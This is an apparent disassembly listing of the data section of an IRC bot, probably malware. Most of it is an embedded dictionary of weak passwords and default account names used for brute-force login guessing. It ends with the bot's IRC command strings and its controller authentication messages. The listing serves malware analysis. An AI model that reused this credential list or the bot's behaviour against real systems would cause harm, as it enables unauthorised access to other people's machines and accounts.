aCaroline	db 'caroline',0         ; DATA XREF: ___:0042FD44o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: ___:0042FD40o
		align 10h
aCarole		db 'carole',0           ; DATA XREF: ___:0042FD3Co
		align 4
aCarol		db 'carol',0            ; DATA XREF: ___:0042FD38o
		align 10h
aCarmen		db 'carmen',0           ; DATA XREF: ___:0042FD34o
		align 4
aCarla		db 'carla',0            ; DATA XREF: ___:0042FD30o
		align 10h
aCaren		db 'caren',0            ; DATA XREF: ___:0042FD2Co
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: ___:0042FD28o
		align 4
aCard		db 'card',0             ; DATA XREF: ___:0042FD24o
		align 4
aCapture	db 'capture',0          ; DATA XREF: ___:0042FD20o
aCaptain	db 'captain',0          ; DATA XREF: ___:0042FD1Co
aCantor		db 'cantor',0           ; DATA XREF: ___:0042FD18o
		align 4
aCandy		db 'candy',0            ; DATA XREF: ___:0042FD14o
		align 4
aCandi		db 'candi',0            ; DATA XREF: ___:0042FD10o
		align 4
aCamping	db 'camping',0          ; DATA XREF: ___:0042FD0Co
aCampanil	db 'campanil',0         ; DATA XREF: ___:0042FD08o
		align 4
aCamille	db 'camille',0          ; DATA XREF: ___:0042FD04o
aCaliforn	db 'californ',0         ; DATA XREF: ___:0042FD00o
		align 4
aButthead	db 'butthead',0         ; DATA XREF: ___:0042FCFCo
		align 4
aButt		db 'butt',0             ; DATA XREF: ___:0042FCF8o
		align 10h
aButch		db 'butch',0            ; DATA XREF: ___:0042FCF4o
		align 4
aBurn		db 'burn',0             ; DATA XREF: ___:0042FCF0o
		align 10h
aBurgess	db 'burgess',0          ; DATA XREF: ___:0042FCECo
aBung		db 'bung',0             ; DATA XREF: ___:0042FCE8o
		align 10h
aBumbling	db 'bumbling',0         ; DATA XREF: ___:0042FCE4o
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: ___:0042FCE0o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: ___:0042FCDCo
		align 10h
aBrutefor	db 'brutefor',0         ; DATA XREF: ___:0042FCD8o
		align 4
aBrute		db 'brute',0            ; DATA XREF: ___:0042FCD4o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: ___:0042FCD0o
		align 10h
aBrothel	db 'brothel',0          ; DATA XREF: ___:0042FCCCo
aBroadway	db 'broadway',0         ; DATA XREF: ___:0042FCC8o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: ___:0042FCC4o
aBrian		db 'brian',0            ; DATA XREF: ___:0042FCC0o
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: ___:0042FCBCo
		align 4
aBreast		db 'breast',0           ; DATA XREF: ___:0042FCB8o
		align 4
aBreak		db 'break',0            ; DATA XREF: ___:0042FCB4o
		align 4
aBravo		db 'bravo',0            ; DATA XREF: ___:0042FCB0o
		align 4
aBrandy		db 'brandy',0           ; DATA XREF: ___:0042FCACo
		align 4
aBrandi		db 'brandi',0           ; DATA XREF: ___:0042FCA8o
		align 4
aBradley	db 'bradley',0          ; DATA XREF: ___:0042FCA4o
aBoyscout	db 'boyscout',0         ; DATA XREF: ___:0042FCA0o
		align 4
aBorn		db 'born',0             ; DATA XREF: ___:0042FC9Co
		align 10h
aBook		db 'book',0             ; DATA XREF: ___:0042FC98o
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: ___:0042FC94o
		align 10h
aBoob		db 'boob',0             ; DATA XREF: ___:0042FC90o
		align 4
aBoner		db 'boner',0            ; DATA XREF: ___:0042FC8Co
		align 10h
aBomb		db 'bomb',0             ; DATA XREF: ___:0042FC88o
		align 4
aBoard		db 'board',0            ; DATA XREF: ___:0042FC84o
		align 10h
aBlues		db 'blues',0            ; DATA XREF: ___:0042FC80o
		align 4
aBlue		db 'blue',0             ; DATA XREF: ___:0042FC7Co
		align 10h
aBlowjob	db 'blowjob',0          ; DATA XREF: ___:0042FC78o
aBlow		db 'blow',0             ; DATA XREF: ___:0042FC74o
		align 10h
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: ___:0042FC70o
		align 4
aBlood		db 'blood',0            ; DATA XREF: ___:0042FC6Co
		align 4
aBlondie	db 'blondie',0          ; DATA XREF: ___:0042FC68o
aBlonde		db 'blonde',0           ; DATA XREF: ___:0042FC64o
		align 4
aBlack		db 'black',0            ; DATA XREF: ___:0042FC60o
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: ___:0042FC5Co
		align 4
aBitmap		db 'bitmap',0           ; DATA XREF: ___:0042FC58o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:0042FC54o
		align 4
aBishop		db 'bishop',0           ; DATA XREF: ___:0042FC50o
		align 4
aBird		db 'bird',0             ; DATA XREF: ___:0042FC4Co
		align 4
aBios		db 'bios',0             ; DATA XREF: ___:0042FC48o
		align 4
aBinary		db 'binary',0           ; DATA XREF: ___:0042FC44o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:0042FC40o
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: ___:0042FC3Co
aBicamera	db 'bicamera',0         ; DATA XREF: ___:0042FC38o
		align 10h
aBible		db 'bible',0            ; DATA XREF: ___:0042FC34o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: ___:0042FC30o
aBetty		db 'betty',0            ; DATA XREF: ___:0042FC2Co
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: ___:0042FC28o
		align 10h
aBeth		db 'beth',0             ; DATA XREF: ___:0042FC24o
		align 4
aBeta		db 'beta',0             ; DATA XREF: ___:0042FC20o
		align 10h
aBeryl		db 'beryl',0            ; DATA XREF: ___:0042FC1Co
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: ___:0042FC18o
		align 4
aBerlin		db 'berlin',0           ; DATA XREF: ___:0042FC14o
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: ___:0042FC10o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: ___:0042FC0Co
aBenz		db 'benz',0             ; DATA XREF: ___:0042FC08o
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: ___:0042FC04o
aBell		db 'bell',0             ; DATA XREF: ___:0042FC00o
		align 4
aBehead		db 'behead',0           ; DATA XREF: ___:0042FBFCo
		align 10h
aBegin		db 'begin',0            ; DATA XREF: ___:0042FBF8o
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: ___:0042FBF4o
		align 4
aBecky		db 'becky',0            ; DATA XREF: ___:0042FBF0o
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: ___:0042FBECo
		align 4
aBeauty		db 'beauty',0           ; DATA XREF: ___:0042FBE8o
		align 4
aBeater		db 'beater',0           ; DATA XREF: ___:0042FBE4o
		align 4
aBeast		db 'beast',0            ; DATA XREF: ___:0042FBE0o
		align 4
aBear		db 'bear',0             ; DATA XREF: ___:0042FBDCo
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: ___:0042FBD8o
		align 10h
aBeach		db 'beach',0            ; DATA XREF: ___:0042FBD4o
		align 4
aBatman		db 'batman',0           ; DATA XREF: ___:0042FBD0o
		align 10h
aBatch		db 'batch',0            ; DATA XREF: ___:0042FBCCo
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: ___:0042FBC8o
aBass		db 'bass',0             ; DATA XREF: ___:0042FBC4o
		align 4
aBasic		db 'basic',0            ; DATA XREF: ___:0042FBC0o
		align 10h
aBaseball	db 'baseball',0         ; DATA XREF: ___:0042FBBCo
		align 4
aBartman	db 'bartman',0          ; DATA XREF: ___:0042FBB8o
aBart		db 'bart',0             ; DATA XREF: ___:0042FBB4o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: ___:0042FBB0o
		align 4
aBarf		db 'barf',0             ; DATA XREF: ___:0042FBACo
		align 10h
aBare		db 'bare',0             ; DATA XREF: ___:0042FBA8o
		align 4
aBarber		db 'barber',0           ; DATA XREF: ___:0042FBA4o
		align 10h
aBarbara	db 'barbara',0          ; DATA XREF: ___:0042FBA0o
aBanks		db 'banks',0            ; DATA XREF: ___:0042FB9Co
		align 10h
aBank		db 'bank',0             ; DATA XREF: ___:0042FB98o
		align 4
aBandit		db 'bandit',0           ; DATA XREF: ___:0042FB94o
		align 10h
aBananas	db 'bananas',0          ; DATA XREF: ___:0042FB90o
aBanana		db 'banana',0           ; DATA XREF: ___:0042FB8Co
		align 10h
aBall		db 'ball',0             ; DATA XREF: ___:0042FB88o
		align 4
aBailey		db 'bailey',0           ; DATA XREF: ___:0042FB84o
		align 10h
aBadass		db 'badass',0           ; DATA XREF: ___:0042FB80o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: ___:0042FB7Co
		align 4
aBacchus	db 'bacchus',0          ; DATA XREF: ___:0042FB78o
aBaby		db 'baby',0             ; DATA XREF: ___:0042FB74o
		align 4
aBabe		db 'babe',0             ; DATA XREF: ___:0042FB70o
		align 4
aAzure		db 'azure',0            ; DATA XREF: ___:0042FB6Co
		align 4
aAztecs		db 'aztecs',0           ; DATA XREF: ___:0042FB68o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: ___:0042FB64o
		align 4
aAttack		db 'attack',0           ; DATA XREF: ___:0042FB60o
		align 10h
aAtom		db 'atom',0             ; DATA XREF: ___:0042FB5Co
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: ___:0042FB58o
		align 4
aAthena		db 'athena',0           ; DATA XREF: ___:0042FB54o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: ___:0042FB50o
aAsian		db 'asian',0            ; DATA XREF: ___:0042FB4Co
		align 4
aArtist		db 'artist',0           ; DATA XREF: ___:0042FB48o
		align 4
aArthur		db 'arthur',0           ; DATA XREF: ___:0042FB44o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: ___:0042FB40o
		align 4
aArmy		db 'army',0             ; DATA XREF: ___:0042FB3Co
		align 4
aArlene		db 'arlene',0           ; DATA XREF: ___:0042FB38o
		align 4
aAriadne	db 'ariadne',0          ; DATA XREF: ___:0042FB34o
aAria		db 'aria',0             ; DATA XREF: ___:0042FB30o
		align 4
aApril		db 'april',0            ; DATA XREF: ___:0042FB2Co
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: ___:0042FB28o
		align 4
aAnything	db 'anything',0         ; DATA XREF: ___:0042FB24o
		align 4
aAnvils		db 'anvils',0           ; DATA XREF: ___:0042FB20o
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: ___:0042FB1Co
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: ___:0042FB18o
aAnswer		db 'answer',0           ; DATA XREF: ___:0042FB14o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: ___:0042FB10o
		align 4
aAnon		db 'anon',0             ; DATA XREF: ___:0042FB0Co
		align 4
aAnnette	db 'annette',0          ; DATA XREF: ___:0042FB08o
aAnne		db 'anne',0             ; DATA XREF: ___:0042FB04o
		align 4
aAnna		db 'anna',0             ; DATA XREF: ___:0042FB00o
		align 4
aAnita		db 'anita',0            ; DATA XREF: ___:0042FAFCo
		align 4
aAnimals	db 'animals',0          ; DATA XREF: ___:0042FAF8o
aAnimal		db 'animal',0           ; DATA XREF: ___:0042FAF4o
		align 4
aAngie		db 'angie',0            ; DATA XREF: ___:0042FAF0o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: ___:0042FAECo
		align 10h
aAngela		db 'angela',0           ; DATA XREF: ___:0042FAE8o
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: ___:0042FAE4o
		align 10h
aAndy		db 'andy',0             ; DATA XREF: ___:0042FAE0o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: ___:0042FADCo
		align 4
aAndroid	db 'android',0          ; DATA XREF: ___:0042FAD8o
aAndrea		db 'andrea',0           ; DATA XREF: ___:0042FAD4o
		align 4
aAnchor		db 'anchor',0           ; DATA XREF: ___:0042FAD0o
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: ___:0042FACCo
aAnarchis	db 'anarchis',0         ; DATA XREF: ___:0042FAC8o
		align 10h
aAnalog		db 'analog',0           ; DATA XREF: ___:0042FAC4o
		align 4
aAnal		db 'anal',0             ; DATA XREF: ___:0042FAC0o
		align 10h
aAmorphou	db 'amorphou',0         ; DATA XREF: ___:0042FABCo
		align 4
aAmerica	db 'america',0          ; DATA XREF: ___:0042FAB8o
aAmber		db 'amber',0            ; DATA XREF: ___:0042FAB4o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: ___:0042FAB0o
		align 4
aAmadeus	db 'amadeus',0          ; DATA XREF: ___:0042FAACo
aAlphabet	db 'alphabet',0         ; DATA XREF: ___:0042FAA8o
		align 4
aAllow		db 'allow',0            ; DATA XREF: ___:0042FAA4o
		align 10h
aAllison	db 'allison',0          ; DATA XREF: ___:0042FAA0o
aAlison		db 'alison',0           ; DATA XREF: ___:0042FA9Co
		align 10h
aAlisa		db 'alisa',0            ; DATA XREF: ___:0042FA98o
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: ___:0042FA94o
		align 10h
aAlice		db 'alice',0            ; DATA XREF: ___:0042FA90o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: ___:0042FA8Co
aAlias		db 'alias',0            ; DATA XREF: ___:0042FA88o
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: ___:0042FA84o
aAlexande	db 'alexande',0         ; DATA XREF: ___:0042FA80o
		align 4
aAlex		db 'alex',0             ; DATA XREF: ___:0042FA7Co
		align 4
aAlert		db 'alert',0            ; DATA XREF: ___:0042FA78o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: ___:0042FA74o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: ___:0042FA70o
		align 10h
aAlbany		db 'albany',0           ; DATA XREF: ___:0042FA6Co
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: ___:0042FA68o
		align 10h
aAirplane	db 'airplane',0         ; DATA XREF: ___:0042FA64o
		align 4
aAids		db 'aids',0             ; DATA XREF: ___:0042FA60o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: ___:0042FA5Co
		align 10h
aAdult		db 'adult',0            ; DATA XREF: ___:0042FA58o
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: ___:0042FA54o
		align 4
aAdrian		db 'adrian',0           ; DATA XREF: ___:0042FA50o
		align 4
aAdam		db 'adam',0             ; DATA XREF: ___:0042FA4Co
		align 4
aAction		db 'action',0           ; DATA XREF: ___:0042FA48o
		align 4
aAccount	db 'account',0          ; DATA XREF: ___:0042FA44o
aAcademic	db 'academic',0         ; DATA XREF: ___:0042FA3Co
		align 10h
aAcademia	db 'academia',0         ; DATA XREF: ___:0042FA38o
		align 4
a000000		db '000000',0           ; DATA XREF: ___:0042FA34o
		align 4
a00000		db '00000',0            ; DATA XREF: ___:0042FA30o
		align 4
a0000		db '0000',0             ; DATA XREF: ___:0042FA2Co
		align 4
a000		db '000',0              ; DATA XREF: ___:0042FA28o
aTesting	db 'testing',0          ; DATA XREF: ___:0042FA24o
aDeath		db 'death',0            ; DATA XREF: ___:0042FA20o
		align 4
a00		db '00',0               ; DATA XREF: ___:0042FA1Co
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: ___:0042FA14o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: ___:0042FA10o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: ___:0042FA0Co
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: ___:0042FA08o
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: ___:0042FA04o
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: ___:0042FA00o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: ___:0042F9FCo
aXx		db 'xx',0               ; DATA XREF: ___:0042F9F8o
		align 4
asc_434C2C:				; DATA XREF: ___:0042F9F4o
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: ___:0042F9F0o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: ___:0042F9ECo
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: ___:0042F9E8o
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: ___:0042F9E4o
		align 10h
aKiddie		db 'kiddie',0           ; DATA XREF: ___:0042F9E0o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: ___:0042F9DCo
		align 4
aScript		db 'script',0           ; DATA XREF: ___:0042F9D8o
		align 10h
aHax0r		db 'hax0r',0            ; DATA XREF: ___:0042F9D4o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: ___:0042F9D0o
		align 10h
aL337		db 'l337',0             ; DATA XREF: ___:0042F9CCo
		align 4
aL33t		db 'l33t',0             ; DATA XREF: ___:0042F9C8o
		align 10h
aLeet		db 'leet',0             ; DATA XREF: ___:0042F9C4o
		align 4
aKiller		db 'killer',0           ; DATA XREF: ___:0042F9C0o
		align 10h
a0wn3d		db '0wn3d',0            ; DATA XREF: ___:0042F9BCo
		align 4
aW00t		db 'w00t',0             ; DATA XREF: ___:0042F9B8o
		align 10h
aHeaven		db 'heaven',0           ; DATA XREF: ___:0042F9B4o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: ___:0042F9B0o
		align 4
aSatanic	db 'satanic',0          ; DATA XREF: ___:0042F9ACo
aSatanik	db 'satanik',0          ; DATA XREF: ___:0042F9A8o
aSatan		db 'satan',0            ; DATA XREF: ___:0042F9A4o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: ___:0042F9A0o
		align 4
aMatthew	db 'Matthew',0          ; DATA XREF: ___:0042F99Co
aMatt		db 'Matt',0             ; DATA XREF: ___:0042F998o
		align 4
aMat		db 'Mat',0              ; DATA XREF: ___:0042F994o
aPw		db 'pw',0               ; DATA XREF: ___:0042F990o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: ___:0042F98Co
		align 4
aMypass		db 'mypass',0           ; DATA XREF: ___:0042F988o
		align 10h
aPw123		db 'pw123',0            ; DATA XREF: ___:0042F984o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: ___:0042F980o
		align 4
aMypc123	db 'mypc123',0          ; DATA XREF: ___:0042F97Co
aMypc		db 'mypc',0             ; DATA XREF: ___:0042F978o
		align 4
aLove		db 'love',0             ; DATA XREF: ___:0042F974o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: ___:0042F970o
aLogin		db 'login',0            ; DATA XREF: ___:0042F96Co
		align 4
aHome		db 'home',0             ; DATA XREF: ___:0042F968o
		align 10h
aZxcv		db 'zxcv',0             ; DATA XREF: ___:0042F964o
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: ___:0042F960o
		align 10h
aQwer		db 'qwer',0             ; DATA XREF: ___:0042F95Co
		align 4
aSecret		db 'secret',0           ; DATA XREF: ___:0042F958o
		align 10h
aAsdf		db 'asdf',0             ; DATA XREF: ___:0042F954o
		align 4
aPc		db 'pc',0               ; DATA XREF: ___:0042F950o
		align 4
aWin		db 'win',0              ; DATA XREF: ___:0042F94Co
aTest123	db 'test123',0          ; DATA XREF: ___:0042F948o
aAbc		db 'abc',0              ; DATA XREF: ___:0042F944o
aAaa		db 'aaa',0              ; DATA XREF: ___:0042F940o
aA_1:					; DATA XREF: ___:0042F93Co
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: ___:0042F938o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: ___:0042F934o
		align 4
aNetfuck	db 'netfuck',0          ; DATA XREF: ___:0042F930o
aIrule		db 'irule',0            ; DATA XREF: ___:0042F92Co
		align 4
aOwned		db 'owned',0            ; DATA XREF: ___:0042F928o
		align 4
a0wned		db '0wned',0            ; DATA XREF: ___:0042F924o
		align 4
aNetDevil	db 'net-devil',0        ; DATA XREF: ___:0042F920o
		align 10h
aNetdevil	db 'netdevil',0         ; DATA XREF: ___:0042F91Co
		align 4
aDevil		db 'devil',0            ; DATA XREF: ___:0042F918o
		align 4
aNilez		db 'Nilez',0            ; DATA XREF: ___:0042F914o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: ___:0042F910o
		align 4
aGod		db 'god',0              ; DATA XREF: ___:0042F90Co
aSex		db 'sex',0              ; DATA XREF: ___:0042F908o
aPat		db 'pat',0              ; DATA XREF: ___:0042F904o
aPatrick	db 'patrick',0          ; DATA XREF: ___:0042F900o
aAlpha		db 'alpha',0            ; DATA XREF: ___:0042F8FCo
		align 10h
a007		db '007',0              ; DATA XREF: ___:0042F8F8o
a123abc		db '123abc',0           ; DATA XREF: ___:0042F8F4o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: ___:0042F8F0o
		align 4
a123123		db '123123',0           ; DATA XREF: ___:0042F8ECo
		align 10h
a121212		db '121212',0           ; DATA XREF: ___:0042F8E8o
		align 4
a111111		db '111111',0           ; DATA XREF: ___:0042F8E4o
		align 10h
a110		db '110',0              ; DATA XREF: ___:0042F8E0o
a2600		db '2600',0             ; DATA XREF: ___:0042F8DCo
		align 4
a2002		db '2002',0             ; DATA XREF: ___:0042F8D4o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: ___:0042F8D0o
		align 4
aEnable		db 'enable',0           ; DATA XREF: ___:0042F8CCo
		align 10h
aGodblessyou	db 'godblessyou',0      ; DATA XREF: ___:0042F8C8o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: ___:0042F8C4o
a123asd		db '123asd',0           ; DATA XREF: ___:0042F8C0o
		align 10h
aSuper		db 'super',0            ; DATA XREF: ___:0042F8BCo
		align 4
aInternet	db 'Internet',0         ; DATA XREF: ___:0042F8B8o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: ___:0042F8B0o
		align 4
aSybase		db 'sybase',0           ; DATA XREF: ___:0042F8ACo
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: ___:0042F8A4o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: ___:0042F8A0o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:0042F898o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: ___:0042F894o
		align 4
a88888888	db '88888888',0         ; DATA XREF: ___:0042F890o
		align 10h
a11111111	db '11111111',0         ; DATA XREF: ___:0042F88Co
		align 4
a111		db '111',0              ; DATA XREF: ___:0042F888o
a54321		db '54321',0            ; DATA XREF: ___:0042F884o
		align 4
a654321		db '654321',0           ; DATA XREF: ___:0042F880o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: ___:0042F87Co
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:0042F878o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:0042F874o
a123456		db '123456',0           ; DATA XREF: ___:0042F870o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:0042F86Co
		align 10h
a1234		db '1234',0             ; DATA XREF: ___:0042F868o
		align 4
a123		db '123',0              ; DATA XREF: ___:0042F864o
a12		db '12',0               ; DATA XREF: ___:0042F860o
		align 10h
a1:					; DATA XREF: ___:0042F85Co
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: ___:0042F858o
aChangeme_0	db 'Changeme',0         ; DATA XREF: ___:0042F854o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:0042F850o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:0042F84Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:0042F848o
		align 4
aLocal		db 'LOCAL',0            ; DATA XREF: ___:0042F844o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: ___:0042F840o
		align 4
aServer_0	db 'SERVER',0           ; DATA XREF: ___:0042F83Co
		align 4
aSystem		db 'SYSTEM',0           ; DATA XREF: ___:0042F838o
		align 4
aBackup		db 'BACKUP',0           ; DATA XREF: ___:0042F834o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: ___:0042F82Co
		align 4
aTest		db 'TEST',0             ; DATA XREF: ___:0042F828o
		align 4
aEdu		db 'edu',0              ; DATA XREF: ___:0042F824o
aOwner_1	db 'Owner',0            ; DATA XREF: ___:0042F820o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: ___:0042F81Co
		align 10h
aDemo		db 'DEMO',0             ; DATA XREF: ___:0042F818o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: ___:0042F814o
		align 10h
aRead		db 'READ',0             ; DATA XREF: ___:0042F810o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: ___:0042F80Co
		align 10h
aLadeda		db 'ladeda',0           ; DATA XREF: ___:0042F808o
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: ___:0042F804o
		align 10h
aWrite		db 'WRITE',0            ; DATA XREF: ___:0042F800o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: ___:0042F7FCo
		align 10h
aTemp		db 'TEMP',0             ; DATA XREF: ___:0042F7F8o
		align 4
aPassword	db 'PASSWORD',0         ; DATA XREF: ___:0042F7F4o
		align 4
aAdmin_0	db 'ADMIN',0            ; DATA XREF: ___:0042F7F0o
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: ___:0042F7E8o
		align 4
aGuest_1	db 'GUEST',0            ; DATA XREF: ___:0042F7E4o
		align 4
aBla		db 'bla',0              ; DATA XREF: ___:0042F7E0o
aFubar		db 'fubar',0            ; DATA XREF: ___:0042F7DCo
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: ___:0042F7D0o
		align 4
aDb2		db 'db2',0              ; DATA XREF: ___:0042F7C0o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042F7BCo
					; ___:0042F8A8o
		align 4
aDba		db 'dba',0              ; DATA XREF: ___:0042F7B8o
aDatabase	db 'database',0         ; DATA XREF: ___:0042F7B4o
					; ___:0042F89Co
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:0042F7B0o
					; ___:0042FF3Co
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042F7ACo
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: ___:0042F7A8o
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: ___:0042F7A4o
					; ___:00430ED0o
aStudent	db 'student',0          ; DATA XREF: ___:0042F7A0o
					; ___:00430E18o
aOwner		db 'owner',0            ; DATA XREF: ___:0042F79Co
		align 4
aComputer	db 'computer',0         ; DATA XREF: ___:0042F798o
					; ___:0042F8B4o
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:0042F794o
					; ___:0042F7ECo
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:0042F790o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:0042F78Co
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:0042F788o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:0042F784o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:0042F780o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: ___:0042F77Co
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042F778o
					; ___:0042F7D8o
		align 10h
aH4ckerTool	db 'h4cker tool',0      ; DATA XREF: ___:off_42F6C8o
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42F6C4o
dword_435118	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: ___:0040E9FBo
		dd 2BBBB02h, 6F422020h,	74732074h, 65747261h, 2E64h
dword_435140	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o
dword_43514C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EB92+F2o
		dd 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40ECFA+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40ECFA+35o
		align 10h
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co
		align 10h
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o
		align 10h
dword_4351C0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6257o
		dd 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 10h
dword_4351F0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+623Ao
		dd 2BBBB02h
aAbosal7Accepte	db '  ABOSAL7 accepted.',0
dword_43521C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+61D9o
		dd 2BBBB02h, 462A2020h,	656C6961h, 6F682064h, 61207473h
		dd 20687475h
		db 62h
byte_435249	db 79h,	3Ah, 20h	; DATA XREF: ___:off_4274DCo
		dd 21732528h, 2E297325h, 0
dword_435258	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6172o
		dd 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6160o
					; sub_40EE72+61C7o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6149o
					; sub_40EE72+61B0o
		align 10h
asc_4352E0:				; DATA XREF: sub_40EE72+6119o
		unicode	0, <~>,0
